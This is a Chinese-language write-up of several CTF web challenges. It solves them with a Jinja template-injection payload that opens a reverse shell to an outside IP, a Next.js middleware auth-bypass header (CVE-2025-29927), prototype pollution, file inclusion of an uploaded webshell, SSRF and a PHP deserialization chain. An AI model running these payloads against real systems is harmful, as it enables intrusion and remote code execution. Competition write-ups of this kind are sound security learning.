web
星愿信箱
进去是个输入框,fuzz一下,过滤了{{ }}
、__import__
等字符,在网上找一个{% %}
的payload,稍微改改就行,这里无回显,于是弹shell

payload:
{%set x=().__class__.__base__.__subclasses__()[N].__init__.__globals__['sys'].modules['os'].system('bash -c \"bash -i >& /dev/tcp/1.94.60.237/2333 0>&1\"') %}
nest_js
尝试以admin
为账户去爆破密码,没爆出来,注意到是Next.js
框架,去找一下有没有cve可打

去找一下cve,找到个鉴权绕过的洞:Next.js 中间件鉴权绕过漏洞 (CVE-2025-29927) https://blog.csdn.net/Dalock/article/details/146492231

带上x-middleware-subrequest
即可绕过鉴权
payload:
x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware

多重宇宙日记
题目描述到ez原型链,这里用到了node.js
,去找一下node.js
简单的原型链污染,其实就是利用__proto__
利用给出来的更新设置按钮,抓个包看看:

payload:
{
"settings": {
"__proto__": {
"isAdmin": true
}
}
}
发完后多了个管理员面板,点进去就是flag

easy_file
进去是个登录页,注意到输入username
和password
并点击登录按钮之后会被base64加密后再传进去,bp爆破的时候开base64加密即可正常爆破

解码后结果:
username:admin
password:password
进到一个上传页,fuzz了一下只能上.jpg
、.txt
,结合前面页面里的注释,想到file
可能是文件包含


尝试file
,发现url/?file=文件名
可以读取文件,用的是include
,但是语句包含php的话会不执行

上传个塞了🐎的ma1.txt
文件,然后用file包含这个文件,就可以用shell了

*easy_signin
进去就是403,dirsearch
扫一下目录,发现存在login.html
和login.php
,直接访问不到login.html
于是先看html里的内容
html的源码里暴露了登录逻辑:
const loginBtn = document.getElementById('loginBtn');
const passwordInput = document.getElementById('password');
const errorTip = document.getElementById('errorTip');
const rawUsername = document.getElementById('username').value;
loginBtn.addEventListener('click', async () => {
const rawPassword = passwordInput.value.trim();
if (!rawPassword) {
errorTip.textContent = '请输入密码';
errorTip.classList.add('show');
passwordInput.focus();
return;
}
const md5Username = CryptoJS.MD5(rawUsername).toString();
const md5Password = CryptoJS.MD5(rawPassword).toString();
const shortMd5User = md5Username.slice(0, 6);
const shortMd5Pass = md5Password.slice(0, 6);
const timestamp = Date.now().toString(); //五分钟
const secretKey = 'easy_signin';
const sign = CryptoJS.MD5(shortMd5User + shortMd5Pass + timestamp + secretKey).toString();
try {
const response = await fetch('login.php', {
method: 'POST',
headers: {
'Content-Type': 'application/x-www-form-urlencoded',
'X-Sign': sign
},
body: new URLSearchParams({
username: md5Username,
password: md5Password,
timestamp: timestamp
})
});
const result = await response.json();
if (result.code === 200) {
alert('登录成功!');
window.location.href = 'dashboard.php';
} else {
errorTip.textContent = result.msg;
errorTip.classList.add('show');
passwordInput.value = '';
passwordInput.focus();
setTimeout(() => errorTip.classList.remove('show'), 3000);
}
} catch (error) {
errorTip.textContent = '网络请求失败';
errorTip.classList.add('show');
setTimeout(() => errorTip.classList.remove('show'), 3000);
}
});
passwordInput.addEventListener('input', () => {
errorTip.classList.remove('show');
});
- 对用户名和密码进行MD5哈希,截取前6位。
- 生成时间戳,用固定密钥
easy_signin
拼接参数生成签名sign
。 - 发送POST请求到
login.php
,携带哈希后的用户名、密码、时间戳及签名。
能试出来用户名:是admin
的时候会回显密码错误,如果是别的用户名会回显账号错误
可以去用bp爆密码,随便抓一个时间戳就行,会响应403:

得到账号密码:
username:admin
password:admin123
用脚本生成一个请求头和post传参内容:
import hashlib
import time
def debug_login_data(password):
username = "admin"
secret_key = "easy_signin"
# 计算完整MD5
md5_user = hashlib.md5(username.encode()).hexdigest()
md5_pass = hashlib.md5(password.encode()).hexdigest()
# 打印关键中间值
print(f"Username MD5: {md5_user}")
print(f"Password MD5: {md5_pass}")
short_user = md5_user[:6]
short_pass = md5_pass[:6]
print(f"Short username: {short_user}")
print(f"Short password: {short_pass}")
timestamp = str(int(time.time() * 1000))
print(f"Timestamp: {timestamp}")
# 构造签名原始字符串
sign_str = short_user + short_pass + timestamp + secret_key
print(f"Signature raw string: {sign_str}")
# 计算最终签名
sign = hashlib.md5(sign_str.encode()).hexdigest()
print(f"Final signature: {sign}")
return {
"headers": {"X-Sign": sign},
"data": {
"username": md5_user,
"password": md5_pass,
"timestamp": timestamp
}
}
if __name__ == "__main__":
password = input("Enter password: ").strip()
result = debug_login_data(password)
print("\n 完整请求数据:")
# POST 数据转为标准参数格式
from urllib.parse import urlencode
post_params = urlencode(result['data'])
print(f"POST数据: {post_params}")
# 请求头转为标准头格式
headers = "\n".join([f"{k}: {v}" for k, v in result['headers'].items()])
print(f"请求头:\n{headers}")
我这里生成的是:
POST数据: username=21232f297a57a5a743894a0e4a801fc3&password=0192023a7bbd73250516f069df18b500×tamp=1748260280140
请求头:
X-Sign: b1ee2e46919de3eb8708a74152321998
带着头就能登陆上了,这样就能去访问题目描述里的dashboard.php
了

进去给了路径/var/www/html/backup/8e0132966053d4bf8b2dbe4ede25502b.php

直接访问会提示:非本地用户
比赛时在这里卡住了,这里没注意到前面的一些信息,导致以为是要加请求头的达到“本地访问”

但其实前面login.html
有一个信息点,直接访问这个api.js
,会显示/api/sys/urlcode.php?url=

很明显打ssrf
http://node6.anna.nssctf.cn:23038/api/sys/urlcode.php?url=127.0.0.1/backup/8e0132966053d4bf8b2dbe4ede25502b.php
拿到这个php的源码,绕一下waf可以写🐎
<?php
if ($_SERVER['REMOTE_ADDR'] == '127.0.0.1') {
highlight_file(__FILE__);
$name="waf";
$name = $_GET['name'];
if (preg_match('/\b(nc|bash|sh)\b/i', $name)) {
echo "waf!!";
exit;
}
if (preg_match('/more|less|head|sort/', $name)) {
echo "waf";
exit;
}
if (preg_match('/tail|sed|cut|awk|strings|od|ping/', $name)) {
echo "waf!";
exit;
}
exec($name, $output, $return_var);
echo "执行结果:\n";
print_r($output);
echo "\n返回码:$return_var";
} else {
echo("非本地用户");
}
?>
另解:
直接读取这个urlcode.php
http://node6.anna.nssctf.cn:23038/api/sys/urlcode.php?url=file:///var/www/html/api/sys/urlcode.php
源码里有个php

直接访问就能拿到flag

*君の名は
题目源码:
<?php
highlight_file(__FILE__);
error_reporting(0);
create_function("", 'die(`/readflag`);');
class Taki
{
private $musubi;
private $magic;
public function __unserialize(array $data)
{
$this->musubi = $data['musubi'];
$this->magic = $data['magic'];
return ($this->musubi)();
}
public function __call($func,$args){
(new $args[0]($args[1]))->{$this->magic}();
}
}
class Mitsuha
{
private $memory;
private $thread;
public function __invoke()
{
return $this->memory.$this->thread;
}
}
class KatawareDoki
{
private $soul;
private $kuchikamizake;
private $name;
public function __toString()
{
($this->soul)->flag($this->kuchikamizake,$this->name);
return "call error!no flag!";
}
}
$Litctf2025 = $_POST['Litctf2025'];
if(!preg_match("/^[Oa]:[\d]+/i", $Litctf2025)){
unserialize($Litctf2025);
}else{
echo "把O改成C不就行了吗,笨蛋!~(∠・ω< )⌒☆";
}
目标是执行/readflag
链子:
Taki::__unserialize() -> Mitsuha::__invoke() -> KatawareDoki::__toString() -> Taki::__call() -> ReflectionFunction->invoke()
注意:这里不能有O,于是调用Arrayobject类来封装这样出来的序列化数据由C:
开头
值得注意的点:
(new $args[0]($args[1]))->{$this->magic}();
这里实例化了一个类,然后调用这个类里的一个方法args[0]
是类名,args[1]
是参数
这个方法调用只有函数名是可控的,参数只能为空,可以尝试调用简单的phpinfo()等无参函数。
create_function("", 'die(`/readflag`);');
没在反序列化题目中见过的函数:create_function
,这里用create_function
创建了一个匿名函数并执行/readflag
,调用这个匿名函数就能输出flag
关于匿名函数的函数名 可以跑一下php直接跑出来,我vscode输出的是�lambda_1
,但实则是\000lambda_1
,这里没显示

匿名函数的函数名是会改变的!在web页面中打开php文件,每刷新一次函数名的数字就会加一,
\000lambda_1
只是第一次访问题目环境时匿名函数的名字,所以最好是重新开启一个环境来提交payload
这里是Litsasuk师傅的exp:
<?php
highlight_file(__FILE__);
error_reporting(0);
class Taki
{
public $musubi;
public $magic = "invoke";
}
class Mitsuha
{
public $memory;
public $thread;
}
class KatawareDoki
{
public $soul;
public $kuchikamizake = "ReflectionFunction";
public $name = "\000lambda_1";
}
$a = new Taki();
$b = new Mitsuha();
$c = new KatawareDoki();
$a->musubi = $b; // 1.把对象当成函数调用,触发__invoke()
$b->thread = $c; // 2. 把对象作为字符串使用,触发__toString()
$c->soul = $a; // 3. 调用不存在的方法,触发__call()
$arr=array("evil"=>$a);
$d=new ArrayObject($arr);
echo urlencode(serialize($d));
其实也可以直接bp爆破,拿着某个函数名如:\000lambda_1
一直爆,总会出的

Comments NOTHING